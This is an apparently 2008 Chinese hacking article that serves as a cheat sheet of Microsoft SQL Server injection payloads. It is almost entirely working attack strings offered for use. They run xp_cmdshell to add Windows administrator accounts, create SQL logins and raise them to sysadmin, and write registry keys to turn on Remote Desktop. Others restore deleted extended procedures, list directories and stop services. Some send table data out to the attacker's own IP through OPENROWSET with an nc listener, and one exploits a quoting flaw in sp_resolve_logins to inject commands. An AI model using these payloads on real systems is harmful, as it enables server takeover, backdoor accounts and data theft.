| mssql注入详解 |
| mssql注入详解 | ||
| 作者:YesHack.… 文章来源:YesHack.Com 更新时间:2008-2-17 15:13:07 【字体:小 大】 | ||
--是否存在xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') --用xp_cmdshell执行命令 ;exec master..xp_cmdshell "net user name password /add"-- ;exec master..xp_cmdshell "net localgroup name administrators /add"-- --查看权限 and (select IS_SRVROLEMEMBER('sysadmin'))=1-- //sa and (select IS_MEMBER('db_owner'))=1-- // dbo and (select IS_MEMBER('public'))=1-- //public --创建个登陆mssql的帐号 ;exec master.dbo.sp_addlogin name,pass;-- --把创建的mssql登陆帐号提升到sysadmin ;exec master.dbo.sp_addsrvrolemember name,sysadmin; ------------------------------------------------------------------------------------------------------------------------------------ 开3389 'exec master..xp_regwrite @r,'software\microsoft\windows\currentversion\netcache','enable','reg_sz','0';---- ;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'software\microsoft\windows nt\currentversion\winlogon','shutdownwithoutlogon','reg_sz','0';---- ;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'software\policies\microsoft\windows\installer','enableadmintsremote','reg_dword',1;---- ;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'system\currentcontrolset\control\terminal server','Tsenabled','reg_dword',1;---- ;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'system\currentcontrolset\services\termdd','start','reg_dword',2;---- ;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite @r,'system\currentcontrolset\services\termservice','start','reg_dword',2;---- ;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_regwrite 'hkey_users','.default\keyboard layout\toggle','hotkey','reg_sz','1';---- ;declare @r varchar(255) set @r='HKEY_LOCAL_MACHINE'exec master..xp_cmdshell 'iisreset /reboot';---- ------------------------------------------------------------------------------------------------------------------------------------ 扩展 --获得MS SQL的版本号 //mssql版本 execute master..sp_msgetversion // dbo public --得到硬盘文件信息 //dbo public --参数说明:目录名,目录深度,是否显示文件 //读取磁盘目录和文件 execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录 execute master..xp_dirtree 'c:',1 //只列c:\文件夹 execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件 --列出服务器上所有windows本地组 execute master..xp_enumgroups //dbo --得到当前sql server服务器的计算机名称 //获得计算机名 execute master..xp_getnetname //dbo public --列出指定目录的所有下一级子目录 EXEC [master].[dbo].[xp_subdirs] 'c:\WINNT' //可以列目录 --列出服务器上固定驱动器,以及每个驱动器的可用空间 execute master..xp_fixeddrives //dbo public --显示系统上可用的盘符 execute master..xp_availablemedia //dbo --获取某文件的相关属性 execute master..xp_getfiledetails 'C:1.txt' //dbo public --统计数据库里每个表的详细情况 exec sp_MSforeachtable 'sp_spaceused ''?''' //查询表 //dbo public --获得每个表的记录数和容量 exec sp_MSforeachtable 'select ''?''','?', 'sp_spaceused ''?''', 'SELECT count(*) FROM ? ' //dbo pubilc --更新Table1/Table2中note列为NULL的值 sp_MSforeachtable 'Update ? Set note='''' Where note is null',null,null,null,' AND o.name in (''Table1'',''Table2'') --列出服务器域名 xp_ntsec_enumdomains //机器名 //dbo public --停止或者启动某个服务 xp_servicecontrol 'stop','schedule' //schedule是服务得名称 //dbo --用pid来停止某个执行中的程序 xp_terminate_process 123 //123是pid //dbo --只列某个目录下的子目录 dbo.xp_subdirs 'C:' //dbo --服务器安全模式信息 xp_loginconfig //dbo xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite --将新扩展存储过程的名称注册到 Microsoft? SQL Server? 上。 sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' //恢复xp_cmdshell 恢复过程sp_addextendedproc 如下: create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc 创建新的 Microsoft? SQL Server? 登录//只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin。 补丁版本 其中的8.00.760就是SQL Server的版本和补丁号。对应关系如下: 8.00.194 -——————SQL Server 2000 RTM 8.00.384 -——————(SP1) 8.00.534 -——————(SP2) 8.00.760 -——————(SP3) ----------------------------------------------------------------------------------------------------------------------------------- 在db权限并且分离获取mssql数据库服务器ip的方法 1.本地nc监听 nc -vvlp 80 2.;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;-- ----------------------------------------------------------------------------------------------------------------------------------- xp_cmdshell的删除及恢复 恢复xp_cmdshell的方法 删除扩展存储过过程xp_cmdshell的语句 exec sp_dropextendedproc ’xp_cmdshell’ 恢复cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’ exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and 返回结果为1就ok 否则需上传c:\inetput\web\xplog70.dll后 exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;-- 如果是用以下方法删除 drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc ’xp_cmdshell’ 则可以用以下语句恢复 dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 这样可以直接恢复,不用去管sp_addextendedproc是不是存在 ----------------------------------------------------------------------------------------------------------------------------------- 去掉tenlnet的ntlm认证 ;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'— ---------------------------------------------------------------------------------------------------------------------------------- public权限列目录 提起public权限的用户估计很多人也觉得郁闷了吧~N久以前看了一篇《论在mssql中public和db_owner权限下拿到webshell或是系统权限》的文章(名字真长-_-!!!),里面说到没办法利用xp_regread,xp_dirtree…这些存储过程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的~呵呵,使这些存储过程能利用上,看下面的代码吧 --建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表 create table ##nonamed( dir ntext, num int ) --调用存储过程把执行回来的数据存到临时表里面 insert ##nonamed execute master..xp_dirtree 'c:\',1 --然后采用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里面了 insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree') select * from ##nonamed 以上方法,也就是说public可以遍历用户服务器的目录 ----------------------------------------------------------------------------------------------------------------------------------- MSSQL自身存储过程的一个注入 master..sp_resolve_logins存储过程中,对@dest_path参数过滤不严,导致xp_cmdshell注入。 分析: SELECT @dest_path = RTRIM(LTRIM(@dest_path)) -- If the last char is '\', remove it. IF substring(@dest_path, len(@dest_path),1) = '\' SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1) -- Don't do validation if it is a UNC path due to security problem. -- If the server is started as a service using local system account, we -- don't have access to the UNC path. IF substring(@dest_path, 1,2) <> '\\' BEGIN SELECT @command = 'dir "' + @dest_path + '"' exec @retcode = master..xp_cmdshell @command, 'no_output' IF @@error <> 0 RETURN (1) IF @retcode <> 0 BEGIN raiserror (14430, 16, -1, @dest_path) RETURN (1) END END master..sp_resolve_logins存储过程 在这一段,经过一定的判断,对 @dest_path 进行了一定的过滤。 但是没有过滤"(双引号)导致了 xp_cmdshell执行任意SQL语句 测试代码: EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp' 执行上述MSSQL语句,成功添加了一个名为admina的系统帐号 但是此存储过程代码中经过判断,需要系统systemadmin权限的帐号 ------------------------------------------------------------------------------------------------------------------------------------
|
||
|
||
| 文章录入:YesHack 责任编辑:YesHack.Com | ||
您现在的位置: